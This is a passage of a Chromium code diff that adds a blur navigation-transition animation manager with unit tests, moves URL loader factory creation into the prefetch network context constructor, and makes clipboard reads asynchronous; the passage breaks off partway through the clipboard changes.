+  void ReadyToCommitNavigation(NavigationHandle* navigation_handle) override;
+  void DidFinishNavigation(NavigationHandle* navigation_handle) override;
+  void DidFirstVisuallyNonEmptyPaint() override;
+  void PrimaryMainFrameRenderProcessGone(
+      base::TerminationStatus status) override;
+
+  // ui::WindowAndroidObserver:
+  void OnRootWindowVisibilityChanged(bool visible) override {}
+  void OnAttachCompositor() override {}
+  void OnDetachCompositor() override {}
+  void OnAnimate(base::TimeTicks frame_begin_time) override;
+  void OnActivityStopped() override {}
+  void OnActivityStarted() override {}
+
+  // Represents the reason why the navigation blur layer is hidden.
+  // These values are persisted to logs. Entries should not be renumbered and
+  // numeric values should never be reused.
+  enum class TransitionExitReason {
+    kFinished = 0,
+    kNavigationInterrupted = 1,
+    kRenderProcessGone = 2,
+    kMaxValue = kRenderProcessGone,
+  };
+
+  // Stops the animation state machine.
+  // |should_animate_out|: If true, and the layer is currently visible, a
+  // fade-out animation will play before destruction. If false, or if the layer
+  // is not ready, the transition is aborted immediately.
+  virtual void StopFadeInAnimation(TransitionExitReason exit_reason,
+                                   bool should_animate_out);
+
+ protected:
+  // Virtual for testing.
+  virtual WebContentsViewAndroidDelegate* GetWebContentsViewAndroidDelegate();
+
+ private:
+  friend class BlurTransitionAnimationManagerTest;
+  friend class TestBlurTransitionAnimationManager;
+
+  // Animation state.
+  enum class AnimationState {
+    kNone,
+    kFadeIn,
+    kFadeOut,
+  };
+
+  explicit BlurTransitionAnimationManager(WebContents* web_contents);
+
+  static const void* UserDataKey();
+
+  void RegisterWindowObserver();
+  void UnregisterWindowObserver();
+
+  void StartFadeOut();
+
+  // Removes the layer from the tree, releases the reference (freeing memory),
+  // and unregisters the window observer.
+  void DestroyLayer();
+
+  void ShowBlurTransitionLayer(scoped_refptr<cc::slim::Layer> layer);
+  void HideBlurTransitionLayer();
+
+  void RecordExitReason(TransitionExitReason exit_reason);
+
+  // The ID of the navigation handle that triggered the blur transition.
+  int64_t navigation_id_ = 0;
+
+  AnimationState animation_state_ = AnimationState::kNone;
+  // This captures the moment that the animation actually begins.
+  // It is anchored to the first frame received in OnAnimate.
+  base::TimeTicks animation_start_time_;
+
+  // Tracks if the next OnAnimate call is the very first frame of a new
+  // animation state.
+  bool is_first_frame_of_animation_ = false;
+
+  // Offsets the animation start time to ensure visual continuity.
+  // When a state change (e.g., Fade-In -> Fade-Out) occurs mid-animation, this
+  // allows the new animation to begin at the equivalent opacity of the previous
+  // state.
+  base::TimeDelta initial_animation_offset_;
+
+  bool is_window_observer_registered_ = false;
+
+  scoped_refptr<cc::slim::SurfaceLayer> blur_layer_;
+
+  TransitionExitReason last_exit_reason_ =
+      TransitionExitReason::kRenderProcessGone;
+
+  std::unique_ptr<WebContentsViewAndroidDelegate>
+      web_contents_view_android_delegate_;
+
+  base::WeakPtrFactory<BlurTransitionAnimationManager> weak_factory_{this};
+};
+
+}  // namespace content
+
+#endif  // CONTENT_BROWSER_NAVIGATION_TRANSITIONS_BLUR_TRANSITION_ANIMATION_MANAGER_H_
diff --git a/content/browser/navigation_transitions/blur_transition_animation_manager_unittest.cc b/content/browser/navigation_transitions/blur_transition_animation_manager_unittest.cc
new file mode 100644
index 0000000..22916590
--- /dev/null
+++ b/content/browser/navigation_transitions/blur_transition_animation_manager_unittest.cc
@@ -0,0 +1,282 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "content/browser/navigation_transitions/blur_transition_animation_manager.h"
+
+#include <memory>
+#include <utility>
+
+#include "base/memory/raw_ptr.h"
+#include "base/memory/scoped_refptr.h"
+#include "base/test/metrics/histogram_tester.h"
+#include "base/test/task_environment.h"
+#include "base/time/time.h"
+#include "cc/slim/filter.h"
+#include "cc/slim/layer.h"
+#include "cc/slim/surface_layer.h"
+#include "components/viz/common/surfaces/surface_id.h"
+#include "content/browser/web_contents/web_contents_impl.h"
+#include "content/public/browser/back_forward_transition_animation_manager.h"
+#include "content/public/browser/navigation_handle.h"
+#include "content/public/test/mock_navigation_handle.h"
+#include "content/public/test/navigation_simulator.h"
+#include "content/test/test_render_view_host.h"
+#include "content/test/test_web_contents.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "ui/android/view_android.h"
+#include "ui/gfx/geometry/size.h"
+
+namespace content {
+
+using testing::_;
+using testing::NiceMock;
+using testing::Return;
+using testing::StrictMock;
+
+namespace {
+
+class MockWebContentsViewAndroidDelegate
+    : public BlurTransitionAnimationManager::WebContentsViewAndroidDelegate {
+ public:
+  MockWebContentsViewAndroidDelegate() = default;
+  ~MockWebContentsViewAndroidDelegate() override = default;
+
+  MOCK_METHOD(bool,
+              ShouldShowBlurTransitionAnimation,
+              (NavigationHandle*),
+              (override));
+  MOCK_METHOD(BackForwardTransitionAnimationManager*,
+              GetBackForwardTransitionAnimationManager,
+              (),
+              (override));
+  MOCK_METHOD(gfx::NativeView, GetNativeView, (), (override));
+  MOCK_METHOD(ui::WindowAndroid*, GetWindowAndroid, (), (override));
+  MOCK_METHOD(viz::SurfaceId, GetCurrentSurfaceId, (), (override));
+};
+
+class MockBackForwardTransitionAnimationManager
+    : public BackForwardTransitionAnimationManager {
+ public:
+  MOCK_METHOD(void,
+              OnGestureStarted,
+              (const ui::BackGestureEvent& event,
+               ui::BackGestureEventSwipeEdge edge,
+               NavigationDirection navigation_direction),
+              (override));
+  MOCK_METHOD(void,
+              OnGestureProgressed,
+              (const ui::BackGestureEvent& event),
+              (override));
+  MOCK_METHOD(void, OnGestureCancelled, (), (override));
+  MOCK_METHOD(void, OnGestureInvoked, (), (override));
+  MOCK_METHOD(void, OnContentForNavigationEntryShown, (), (override));
+  MOCK_METHOD(AnimationStage, GetCurrentAnimationStage, (), (override));
+  MOCK_METHOD(void, SetFavicon, (const SkBitmap& bitmap), (override));
+};
+
+}  // namespace
+
+class TestBlurTransitionAnimationManager
+    : public BlurTransitionAnimationManager {
+ public:
+  explicit TestBlurTransitionAnimationManager(WebContents* web_contents)
+      : BlurTransitionAnimationManager(web_contents) {}
+
+  void SetDelegate(std::unique_ptr<WebContentsViewAndroidDelegate> delegate) {
+    web_contents_view_android_delegate_ = std::move(delegate);
+  }
+};
+
+class BlurTransitionAnimationManagerTest : public RenderViewHostTestHarness {
+ public:
+  BlurTransitionAnimationManagerTest()
+      : RenderViewHostTestHarness(
+            base::test::TaskEnvironment::TimeSource::MOCK_TIME) {}
+
+  void SetUp() override {
+    RenderViewHostTestHarness::SetUp();
+
+    view_android_ =
+        std::make_unique<ui::ViewAndroid>(ui::ViewAndroid::LayoutType::kNormal);
+    view_android_->SetLayer(cc::slim::Layer::Create());
+
+    auto manager =
+        std::make_unique<TestBlurTransitionAnimationManager>(web_contents());
+    manager_ = manager.get();
+
+    auto mock_delegate =
+        std::make_unique<NiceMock<MockWebContentsViewAndroidDelegate>>();
+    mock_delegate_ = mock_delegate.get();
+
+    ON_CALL(*mock_delegate_, GetNativeView())
+        .WillByDefault(Return(view_android_.get()));
+    // Set a valid SurfaceId for the mock to return.
+    fake_surface_id_ = viz::SurfaceId(
+        viz::FrameSinkId(1, 1),
+        viz::LocalSurfaceId(1, base::UnguessableToken::Create()));
+    ON_CALL(*mock_delegate_, GetCurrentSurfaceId())
+        .WillByDefault(Return(fake_surface_id_));
+
+    manager_->SetDelegate(std::move(mock_delegate));
+    web_contents()->SetUserData(BlurTransitionAnimationManager::UserDataKey(),
+                                std::move(manager));
+  }
+
+  void TearDown() override {
+    mock_delegate_ = nullptr;
+    web_contents()->RemoveUserData(
+        BlurTransitionAnimationManager::UserDataKey());
+    view_android_.reset();
+    RenderViewHostTestHarness::TearDown();
+  }
+
+ protected:
+  using AnimationState = BlurTransitionAnimationManager::AnimationState;
+  using TransitionExitReason =
+      BlurTransitionAnimationManager::TransitionExitReason;
+
+  AnimationState GetAnimationState() const {
+    return manager_->animation_state_;
+  }
+
+  base::HistogramTester histogram_tester_;
+  std::unique_ptr<ui::ViewAndroid> view_android_;
+  raw_ptr<MockWebContentsViewAndroidDelegate> mock_delegate_;
+  raw_ptr<TestBlurTransitionAnimationManager> manager_;
+  viz::SurfaceId fake_surface_id_;
+};
+
+TEST_F(BlurTransitionAnimationManagerTest, SuccessfulLayerCreation) {
+  auto simulator = NavigationSimulator::CreateBrowserInitiated(
+      GURL("https://example.com"), web_contents());
+  simulator->Start();
+
+  EXPECT_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillOnce(Return(true));
+  EXPECT_CALL(*mock_delegate_, GetBackForwardTransitionAnimationManager())
+      .WillOnce(Return(nullptr));
+  EXPECT_CALL(*mock_delegate_, GetCurrentSurfaceId())
+      .WillOnce(Return(fake_surface_id_));
+
+  simulator->ReadyToCommit();
+
+  // Layer should be created immediately.
+  const auto& children = view_android_->GetLayer()->children();
+  ASSERT_EQ(children.size(), 1u);
+
+  EXPECT_EQ(GetAnimationState(), AnimationState::kFadeIn);
+}
+
+TEST_F(BlurTransitionAnimationManagerTest,
+       CorrectlyFadesOutBlurIfFirstPaintHappensDuringFadeIn) {
+  auto simulator = NavigationSimulator::CreateBrowserInitiated(
+      GURL("https://example.com"), web_contents());
+  simulator->Start();
+
+  EXPECT_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillOnce(Return(true));
+  EXPECT_CALL(*mock_delegate_, GetCurrentSurfaceId())
+      .WillOnce(Return(fake_surface_id_));
+
+  simulator->ReadyToCommit();
+
+  EXPECT_EQ(GetAnimationState(), AnimationState::kFadeIn);
+  EXPECT_EQ(view_android_->GetLayer()->children().size(), 1u);
+
+  // Trigger paint.
+  manager_->DidFirstVisuallyNonEmptyPaint();
+
+  EXPECT_EQ(GetAnimationState(), AnimationState::kFadeOut);
+
+  // Manually drive the animation.
+  manager_->OnAnimate(base::TimeTicks::Now() + base::Milliseconds(200));
+
+  EXPECT_EQ(GetAnimationState(), AnimationState::kNone);
+  EXPECT_TRUE(view_android_->GetLayer()->children().empty());
+
+  histogram_tester_.ExpectUniqueSample(
+      "Navigation.BlurTransitionAnimation.ExitReason",
+      TransitionExitReason::kFinished, 1);
+}
+
+// Verifies that if a new navigation starts before the previous blur
+// transition has finished, the old transition is correctly interrupted and
+// cleaned up.
+TEST_F(BlurTransitionAnimationManagerTest, StaleNavigationProtection) {
+  // Navigation 1.
+  auto sim1 = NavigationSimulator::CreateBrowserInitiated(
+      GURL("https://example.com/1"), web_contents());
+  sim1->Start();
+  EXPECT_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillOnce(Return(true));
+  sim1->ReadyToCommit();
+
+  EXPECT_EQ(view_android_->GetLayer()->children().size(), 1u);
+
+  // Navigation 2 starts immediately (superseding 1).
+  auto sim2 = NavigationSimulator::CreateBrowserInitiated(
+      GURL("https://example.com/2"), web_contents());
+  sim2->Start();
+  EXPECT_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillOnce(Return(true));
+  sim2->ReadyToCommit();
+
+  // The first layer should be removed and replaced by the second one.
+  EXPECT_EQ(view_android_->GetLayer()->children().size(), 1u);
+
+  // The first navigation was interrupted.
+  histogram_tester_.ExpectBucketCount(
+      "Navigation.BlurTransitionAnimation.ExitReason",
+      TransitionExitReason::kNavigationInterrupted, 1);
+}
+
+TEST_F(BlurTransitionAnimationManagerTest,
+       NoAnimationOnSameDocumentNavigation) {
+  ON_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillByDefault(Return(true));
+
+  MockNavigationHandle handle;
+  handle.set_is_in_primary_main_frame(true);
+  handle.set_is_same_document(true);
+
+  EXPECT_CALL(*mock_delegate_, GetCurrentSurfaceId()).Times(0);
+  manager_->ReadyToCommitNavigation(&handle);
+}
+
+TEST_F(BlurTransitionAnimationManagerTest, NoAnimationOnBFCacheRestore) {
+  ON_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillByDefault(Return(true));
+
+  MockNavigationHandle handle;
+  handle.set_is_in_primary_main_frame(true);
+  handle.set_is_same_document(false);
+  handle.set_is_served_from_bfcache(true);
+
+  EXPECT_CALL(*mock_delegate_, GetCurrentSurfaceId()).Times(0);
+  manager_->ReadyToCommitNavigation(&handle);
+}
+
+TEST_F(BlurTransitionAnimationManagerTest,
+       NoAnimationWhenBackForwardGestureIsActive) {
+  ON_CALL(*mock_delegate_, ShouldShowBlurTransitionAnimation(_))
+      .WillByDefault(Return(true));
+
+  MockNavigationHandle handle;
+  handle.set_is_in_primary_main_frame(true);
+  handle.set_is_same_document(false);
+  handle.set_is_served_from_bfcache(false);
+
+  StrictMock<MockBackForwardTransitionAnimationManager> mock_anim_manager;
+  EXPECT_CALL(mock_anim_manager, GetCurrentAnimationStage())
+      .WillRepeatedly(Return(BackForwardTransitionAnimationManager::
+                                 AnimationStage::kInvokeAnimation));
+  EXPECT_CALL(*mock_delegate_, GetBackForwardTransitionAnimationManager())
+      .WillRepeatedly(Return(&mock_anim_manager));
+
+  EXPECT_CALL(*mock_delegate_, GetCurrentSurfaceId()).Times(0);
+  manager_->ReadyToCommitNavigation(&handle);
+}
+
+}  // namespace content
diff --git a/content/browser/preloading/prefetch/prefetch_container.cc b/content/browser/preloading/prefetch/prefetch_container.cc
index d72b386..098ff982 100644
--- a/content/browser/preloading/prefetch/prefetch_container.cc
+++ b/content/browser/preloading/prefetch/prefetch_container.cc
@@ -583,7 +583,8 @@
 }
 
 PrefetchNetworkContext*
-PrefetchContainer::GetOrCreateNetworkContextForCurrentPrefetch() {
+PrefetchContainer::GetOrCreateNetworkContextForCurrentPrefetch(
+    PrefetchService* prefetch_service) {
   bool is_isolated_network_context_required =
       IsIsolatedNetworkContextRequiredForCurrentPrefetch();
 
@@ -600,8 +601,9 @@
   }
 
   auto owned_network_context = std::make_unique<PrefetchNetworkContext>(
-      is_isolated_network_context_required, request().prefetch_type(),
-      referring_render_frame_host_id, request().referring_origin());
+      prefetch_service, is_isolated_network_context_required,
+      request().prefetch_type(), referring_render_frame_host_id,
+      request().referring_origin());
   network_context = owned_network_context.get();
   network_contexts_.emplace(is_isolated_network_context_required,
                             std::move(owned_network_context));
diff --git a/content/browser/preloading/prefetch/prefetch_container.h b/content/browser/preloading/prefetch/prefetch_container.h
index d1a8bab..4d3e956 100644
--- a/content/browser/preloading/prefetch/prefetch_container.h
+++ b/content/browser/preloading/prefetch/prefetch_container.h
@@ -330,7 +330,8 @@
       bool is_isolated_network_context_required) const;
 
   // The network context used to make network requests for the next prefetch.
-  PrefetchNetworkContext* GetOrCreateNetworkContextForCurrentPrefetch();
+  PrefetchNetworkContext* GetOrCreateNetworkContextForCurrentPrefetch(
+      PrefetchService* prefetch_service);
 
   // Closes idle connections for all elements in |network_contexts_|.
   void CloseIdleConnections();
diff --git a/content/browser/preloading/prefetch/prefetch_network_context.cc b/content/browser/preloading/prefetch/prefetch_network_context.cc
index fc478e226..597237b2 100644
--- a/content/browser/preloading/prefetch/prefetch_network_context.cc
+++ b/content/browser/preloading/prefetch/prefetch_network_context.cc
@@ -46,6 +46,7 @@
 }  // namespace
 
 PrefetchNetworkContext::PrefetchNetworkContext(
+    PrefetchService* service,
     bool use_isolated_network_context,
     const PrefetchType& prefetch_type,
     const GlobalRenderFrameHostId& referring_render_frame_host_id,
@@ -59,25 +60,25 @@
   } else {
     CHECK(!referring_render_frame_host_id);
   }
+
+  if (use_isolated_network_context_) {
+    CreateIsolatedURLLoaderFactory(service);
+    CHECK(network_context_);
+  } else {
+    // Create new URL factory in the default network context.
+    url_loader_factory_ = CreateNewURLLoaderFactory(
+        service->GetBrowserContext(), service->GetBrowserContext()
+                                          ->GetDefaultStoragePartition()
+                                          ->GetNetworkContext());
+  }
+
+  CHECK(url_loader_factory_);
 }
 
 PrefetchNetworkContext::~PrefetchNetworkContext() = default;
 
 scoped_refptr<network::SharedURLLoaderFactory>
-PrefetchNetworkContext::GetURLLoaderFactory(PrefetchService* service) {
-  if (!url_loader_factory_) {
-    if (use_isolated_network_context_) {
-      CreateIsolatedURLLoaderFactory(service);
-      CHECK(network_context_);
-    } else {
-      // Create new URL factory in the default network context.
-      url_loader_factory_ = CreateNewURLLoaderFactory(
-          service->GetBrowserContext(), service->GetBrowserContext()
-                                            ->GetDefaultStoragePartition()
-                                            ->GetNetworkContext());
-    }
-  }
-  CHECK(url_loader_factory_);
+PrefetchNetworkContext::GetURLLoaderFactory() {
   return url_loader_factory_;
 }
 
diff --git a/content/browser/preloading/prefetch/prefetch_network_context.h b/content/browser/preloading/prefetch/prefetch_network_context.h
index df4d1c86..db389317 100644
--- a/content/browser/preloading/prefetch/prefetch_network_context.h
+++ b/content/browser/preloading/prefetch/prefetch_network_context.h
@@ -25,7 +25,10 @@
 // any cookies.
 class CONTENT_EXPORT PrefetchNetworkContext {
  public:
+  // Creates an isolated `NetworkContext` (if `use_isolated_network_context`)
+  // and `URLLoaderFactory` inside ctor.
   PrefetchNetworkContext(
+      PrefetchService* service,
       bool use_isolated_network_context,
       const PrefetchType& prefetch_type,
       const GlobalRenderFrameHostId& referring_render_frame_host_id,
@@ -36,11 +39,8 @@
   const PrefetchNetworkContext operator=(const PrefetchNetworkContext&) =
       delete;
 
-  // Get a reference to |url_loader_factory_|. If it is null, then
-  // |network_context_| is bound and configured, and a new
-  // |SharedURLLoaderFactory| is created.
-  scoped_refptr<network::SharedURLLoaderFactory> GetURLLoaderFactory(
-      PrefetchService* service);
+  // Get a reference to |url_loader_factory_|.
+  scoped_refptr<network::SharedURLLoaderFactory> GetURLLoaderFactory();
 
   // Get a reference to |cookie_manager_|. If it is null, then it is bound to
   // the cookie manager of |network_context_|.
diff --git a/content/browser/preloading/prefetch/prefetch_network_context_unittest.cc b/content/browser/preloading/prefetch/prefetch_network_context_unittest.cc
index 1dac064..65c6a66 100644
--- a/content/browser/preloading/prefetch/prefetch_network_context_unittest.cc
+++ b/content/browser/preloading/prefetch/prefetch_network_context_unittest.cc
@@ -77,13 +77,12 @@
 
   std::unique_ptr<PrefetchNetworkContext> prefetch_network_context =
       std::make_unique<PrefetchNetworkContext>(
+          prefetch_service(),
           /*use_isolated_network_context=*/true,
           PrefetchType(PreloadingTriggerType::kSpeculationRule,
                        /*use_prefetch_proxy=*/false,
                        blink::mojom::SpeculationEagerness::kImmediate),
           main_rfh()->GetGlobalId(), main_rfh()->GetLastCommittedOrigin());
-
-  prefetch_network_context->GetURLLoaderFactory(prefetch_service());
 }
 
 TEST_F(PrefetchNetworkContextTest,
@@ -105,13 +104,12 @@
 
   std::unique_ptr<PrefetchNetworkContext> prefetch_network_context =
       std::make_unique<PrefetchNetworkContext>(
+          prefetch_service(),
           /*use_isolated_network_context=*/false,
           PrefetchType(PreloadingTriggerType::kSpeculationRule,
                        /*use_prefetch_proxy=*/false,
                        blink::mojom::SpeculationEagerness::kImmediate),
           main_rfh()->GetGlobalId(), main_rfh()->GetLastCommittedOrigin());
-
-  prefetch_network_context->GetURLLoaderFactory(prefetch_service());
 }
 
 TEST_F(PrefetchNetworkContextTest,
@@ -132,13 +130,12 @@
 
   std::unique_ptr<PrefetchNetworkContext> prefetch_network_context =
       std::make_unique<PrefetchNetworkContext>(
+          prefetch_service(),
           /*use_isolated_network_context=*/false,
           PrefetchType(PreloadingTriggerType::kEmbedder,
                        /*use_prefetch_proxy=*/false),
           /*referring_render_frame_host_id=*/GlobalRenderFrameHostId(),
           kReferringOrigin);
-
-  prefetch_network_context->GetURLLoaderFactory(prefetch_service());
 }
 
 }  // namespace
diff --git a/content/browser/preloading/prefetch/prefetch_service.cc b/content/browser/preloading/prefetch/prefetch_service.cc
index 53b41745..519f9ebb5 100644
--- a/content/browser/preloading/prefetch/prefetch_service.cc
+++ b/content/browser/preloading/prefetch/prefetch_service.cc
@@ -1742,8 +1742,8 @@
   if (g_url_loader_factory_for_testing) {
     return base::WrapRefCounted(g_url_loader_factory_for_testing);
   }
-  return prefetch_container->GetOrCreateNetworkContextForCurrentPrefetch()
-      ->GetURLLoaderFactory(this);
+  return prefetch_container->GetOrCreateNetworkContextForCurrentPrefetch(this)
+      ->GetURLLoaderFactory();
 }
 
 void PrefetchService::OnPrefetchRedirect(
diff --git a/content/browser/renderer_host/clipboard_host_impl.cc b/content/browser/renderer_host/clipboard_host_impl.cc
index 53adc464..63de3685 100644
--- a/content/browser/renderer_host/clipboard_host_impl.cc
+++ b/content/browser/renderer_host/clipboard_host_impl.cc
@@ -66,26 +66,6 @@
 
 namespace {
 
-std::u16string ExtractText(ui::ClipboardBuffer clipboard_buffer,
-                           std::unique_ptr<ui::DataTransferEndpoint> data_dst) {
-  ui::Clipboard* clipboard = ui::Clipboard::GetForCurrentThread();
-  std::u16string result;
-  if (clipboard->IsFormatAvailable(ui::ClipboardFormatType::PlainTextType(),
-                                   clipboard_buffer, data_dst.get())) {
-    clipboard->ReadText(clipboard_buffer, data_dst.get(), &result);
-  } else {
-#if BUILDFLAG(IS_WIN)
-    if (clipboard->IsFormatAvailable(ui::ClipboardFormatType::PlainTextAType(),
-                                     clipboard_buffer, data_dst.get())) {
-      std::string ascii;
-      clipboard->ReadAsciiText(clipboard_buffer, data_dst.get(), &ascii);
-      result = base::ASCIIToUTF16(ascii);
-    }
-#endif
-  }
-  return result;
-}
-
 }  // namespace
 
 ClipboardHostImpl::ClipboardHostImpl(
@@ -140,9 +120,9 @@
   std::move(callback).Run(GetSequenceNumberImpl(clipboard_buffer));
 }
 
-std::vector<std::u16string> ClipboardHostImpl::ReadAvailableTypesImpl(
-    ui::ClipboardBuffer clipboard_buffer) {
-  std::vector<std::u16string> types;
+void ClipboardHostImpl::ReadAvailableTypes(
+    ui::ClipboardBuffer clipboard_buffer,
+    ReadAvailableTypesCallback callback) {
   auto* clipboard = ui::Clipboard::GetForCurrentThread();
   auto data_endpoint = CreateDataEndpoint();
 
@@ -152,41 +132,41 @@
           static_cast<RenderFrameHostImpl&>(render_frame_host())
               .GetClipboardTypesIfPolicyApplied(
                   clipboard->GetSequenceNumber(clipboard_buffer))) {
-    types = std::move(*policy_types);
-  } else {
-    // ReadAvailableTypes() returns 'text/uri-list' if either files are
-    // provided, or if it was set as a custom web type. If it is set because
-    // files are available, do not include other types such as text/plain which
-    // contain the full path on some platforms (http://crbug.com/1214108). But
-    // do not exclude other types when it is set as a custom web type
-    // (http://crbug.com/1241671).
-    bool file_type_only =
-        clipboard->IsFormatAvailable(ui::ClipboardFormatType::FilenamesType(),
-                                     clipboard_buffer, data_endpoint.get());
+    std::move(callback).Run(std::move(*policy_types));
+    return;
+  }
+
+  // ReadAvailableTypes() returns 'text/uri-list' if either files are
+  // provided, or if it was set as a custom web type. If it is set because
+  // files are available, do not include other types such as text/plain which
+  // contain the full path on some platforms (http://crbug.com/1214108). But
+  // do not exclude other types when it is set as a custom web type
+  // (http://crbug.com/1241671).
+  bool file_type_only =
+      clipboard->IsFormatAvailable(ui::ClipboardFormatType::FilenamesType(),
+                                   clipboard_buffer, data_endpoint.get());
 
 #if BUILDFLAG(IS_CHROMEOS)
-    // ChromeOS FilesApp must include the custom 'fs/sources', etc data for
-    // paste that it put on the clipboard during copy (crbug.com/271078230).
-    if (render_frame_host().GetMainFrame()->GetLastCommittedURL().SchemeIs(
-            kChromeUIScheme)) {
-      file_type_only = false;
-    }
+  // ChromeOS FilesApp must include the custom 'fs/sources', etc data for
+  // paste that it put on the clipboard during copy (crbug.com/271078230).
+  if (render_frame_host().GetMainFrame()->GetLastCommittedURL().SchemeIs(
+          kChromeUIScheme)) {
+    file_type_only = false;
+  }
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
-    if (file_type_only) {
-      types = {ui::kMimeTypeUriList16};
-    } else {
-      clipboard->ReadAvailableTypes(clipboard_buffer, data_endpoint.get(),
-                                    &types);
-    }
+  if (file_type_only) {
+    std::move(callback).Run({ui::kMimeTypeUriList16});
+    return;
   }
-  return types;
-}
 
-void ClipboardHostImpl::ReadAvailableTypes(
-    ui::ClipboardBuffer clipboard_buffer,
-    ReadAvailableTypesCallback callback) {
-  std::move(callback).Run(ReadAvailableTypesImpl(clipboard_buffer));
+  clipboard->ReadAvailableTypes(clipboard_buffer, data_endpoint.get(),
+                                base::BindOnce(
+                                    [](ReadAvailableTypesCallback callback,
+                                       std::vector<std::u16string> types) {
+                                      std::move(callback).Run(std::move(types));
+                                    },
+                                    std::move(callback)));
 }
 
 void ClipboardHostImpl::IsFormatAvailable(blink::mojom::ClipboardFormat format,
@@ -236,9 +216,17 @@
     return;
   }
 
+  ExtractText(clipboard_buffer, CreateDataEndpoint(),
+              base::BindOnce(&ClipboardHostImpl::OnReadText,
+                             weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+                             std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadText(ui::ClipboardBuffer clipboard_buffer,
+                                   ReadTextCallback callback,
+                                   std::u16string text) {
   ClipboardPasteData clipboard_paste_data;
-  clipboard_paste_data.text =
-      ExtractText(clipboard_buffer, CreateDataEndpoint());
+  clipboard_paste_data.text = std::move(text);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::PlainTextType(),
@@ -262,30 +250,37 @@
     return;
   }
   ui::Clipboard* clipboard = ui::Clipboard::GetForCurrentThread();
-  ClipboardPasteData clipboard_paste_data;
-  std::string src_url_str;
-  uint32_t fragment_start = 0;
-  uint32_t fragment_end = 0;
   auto data_dst = CreateDataEndpoint();
   clipboard->ReadHTML(clipboard_buffer, data_dst.get(),
-                      &clipboard_paste_data.html, &src_url_str, &fragment_start,
-                      &fragment_end);
+                      base::BindOnce(&ClipboardHostImpl::OnReadHtml,
+                                     weak_ptr_factory_.GetWeakPtr(),
+                                     clipboard_buffer, std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadHtml(ui::ClipboardBuffer clipboard_buffer,
+                                   ReadHtmlCallback callback,
+                                   std::u16string markup,
+                                   GURL src_url,
+                                   uint32_t fragment_start,
+                                   uint32_t fragment_end) {
+  ClipboardPasteData clipboard_paste_data;
+  clipboard_paste_data.html = std::move(markup);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::HtmlType(),
       std::move(clipboard_paste_data),
       base::BindOnce(
-          [](std::string src_url_str, uint32_t fragment_start,
-             uint32_t fragment_end, ReadHtmlCallback callback,
+          [](GURL src_url, uint32_t fragment_start, uint32_t fragment_end,
+             ReadHtmlCallback callback,
              std::optional<ClipboardPasteData> clipboard_paste_data) {
             std::u16string markup;
             if (clipboard_paste_data) {
               markup = std::move(clipboard_paste_data->html);
             }
-            std::move(callback).Run(std::move(markup), GURL(src_url_str),
-                                    fragment_start, fragment_end);
+            std::move(callback).Run(std::move(markup), src_url, fragment_start,
+                                    fragment_end);
           },
-          std::move(src_url_str), fragment_start, fragment_end,
+          std::move(src_url), fragment_start, fragment_end,
           std::move(callback)));
 }
 
@@ -295,10 +290,19 @@
     std::move(callback).Run(std::u16string());
     return;
   }
+  ui::Clipboard::GetForCurrentThread()->ReadSvg(
+      clipboard_buffer,
+      /*data_dst=*/nullptr,
+      base::BindOnce(&ClipboardHostImpl::OnReadSvg,
+                     weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+                     std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadSvg(ui::ClipboardBuffer clipboard_buffer,
+                                  ReadSvgCallback callback,
+                                  std::u16string svg) {
   ClipboardPasteData clipboard_paste_data;
-  ui::Clipboard::GetForCurrentThread()->ReadSvg(clipboard_buffer,
-                                                /*data_dst=*/nullptr,
-                                                &clipboard_paste_data.svg);
+  clipboard_paste_data.svg = std::move(svg);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::SvgType(),
@@ -322,10 +326,19 @@
     return;
   }
 
-  ClipboardPasteData clipboard_paste_data;
   auto data_dst = CreateDataEndpoint();
   ui::Clipboard::GetForCurrentThread()->ReadRTF(
-      clipboard_buffer, data_dst.get(), &clipboard_paste_data.rtf);
+      clipboard_buffer, data_dst.get(),
+      base::BindOnce(&ClipboardHostImpl::OnReadRtf,
+                     weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+                     std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadRtf(ui::ClipboardBuffer clipboard_buffer,
+                                  ReadRtfCallback callback,
+                                  std::string rtf) {
+  ClipboardPasteData clipboard_paste_data;
+  clipboard_paste_data.rtf = std::move(rtf);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::RtfType(),
@@ -351,19 +364,36 @@
   auto data_dst = CreateDataEndpoint();
   ui::Clipboard::GetForCurrentThread()->ReadPng(
       clipboard_buffer, data_dst.get(),
-      base::BindOnce(&ClipboardHostImpl::OnReadPng,
-                     weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
-                     std::move(callback)));
+      base::BindOnce(
+          [](base::WeakPtr<ClipboardHostImpl> host,
+             ui::ClipboardBuffer clipboard_buffer, ReadPngCallback callback,
+             const std::vector<uint8_t>& data) {
+            if (host) {
+              host->OnReadPng(clipboard_buffer, std::move(callback), data);
+            }
+          },
+          weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+          std::move(callback)));
 }
 
 void ClipboardHostImpl::OnReadPng(ui::ClipboardBuffer clipboard_buffer,
                                   ReadPngCallback callback,
-                                  const std::vector<uint8_t>& data) {
+                                  std::vector<uint8_t> data) {
+  // Pass both image and associated text for content analysis.
+  ExtractText(clipboard_buffer, CreateDataEndpoint(),
+              base::BindOnce(&ClipboardHostImpl::OnReadPngWithText,
+                             weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+                             std::move(callback), std::move(data)));
+}
+
